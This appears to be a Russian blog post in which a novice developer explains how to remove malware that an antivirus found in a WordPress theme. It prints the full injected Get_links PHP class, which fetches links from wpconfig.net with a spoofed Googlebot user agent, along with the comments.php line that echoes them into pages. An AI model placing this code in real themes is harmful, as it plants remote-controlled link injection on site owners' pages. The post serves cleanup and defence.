Убираем вредоносный код (вирус) на вашем сайте WordPress

В этой стать я расскажу о вредоносном коде(вирусе), который нашел антивирус на хостинге сайта.

Прислали мне как-то письмо на почту, что у меня на сайте где-то есть зараженный файл и в нем содержится вредоносный код. Я сразу зашел на хостинг и начал смотреть более детально, какие там проблемы. Мне написали, что в файле …/functions.php у меня злой код. Я его открыл и начал искать, что же там не так. Антивирус подсветил мне строку с таким содержанием

var $host = ’wpconfig.net’;

Т.к. я еще не сильно опытный web developer и никогда не сталкивался с этим, я сразу полез в гугл. Наткнулся там, на одну очень занимательную статью где пишут интересные вещи о моей проблеме. Прочитав ее, я понял, что мне нужно в файле …/comments.php удалить строчку с таким содержанием :

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?>

и в файле …/function.php есть класс Get_links, его также нужно удалить:

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

         $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}

Таким образом, я избавился от вредоносного кода. А статью, ссылку на которую я давал выше, рекомендую вам прочитать.

Так же не забудьте почитать о том Как сделать всплывающие подсказки на сайте

Оставьте ответ

comment-avatar

*